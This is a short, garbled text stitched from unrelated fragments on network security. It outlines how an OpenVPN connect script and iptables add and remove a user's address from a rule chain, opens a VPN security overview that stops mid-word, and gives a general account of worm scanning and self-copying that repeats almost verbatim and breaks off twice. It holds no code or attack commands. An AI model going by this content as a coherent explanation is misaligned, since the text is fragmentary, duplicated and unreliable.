online environment is as follows: The user logs on to the OpenVPN system. After the system passes verification, the user obtains a private IP address and records the account name. After the connection is established, the OpenVPN system calls the Connect script. IPtables adds the user's IP address to the corresponding rule group Chain. The user obtains the corresponding access permissions. The user completes the access and disconnects. IPTables removes the IP addresses occupied by the user

Currently, VPN security technology is widely used. Here we mainly analyze the comprehensive application of VPN security technology on sites and clients. It is difficult to achieve network security, and the cost for achieving network security is very high. Due to the rapid de

. As a result, the more worms spread, the more scanning packets on the network. Even if the probe packets sent by the scanning program are small and contain less, the network congestion caused by the scanning of a large number of worms is very serious. Second, attacks: When the worm scans hosts on the network, it begins to use its own destructive function to obtain the administrator privilege of the host. Finally, use the interaction between the original host and the new host to copy the worm pr

Second, attacks: When the worm scans hosts on the network, it begins to use its own destructive function to obtain the administrator privilege of the host. Finally, use the interaction between the original host and the new host to copy the worm program to the new host and start it. It can be seen that the harm of worms has
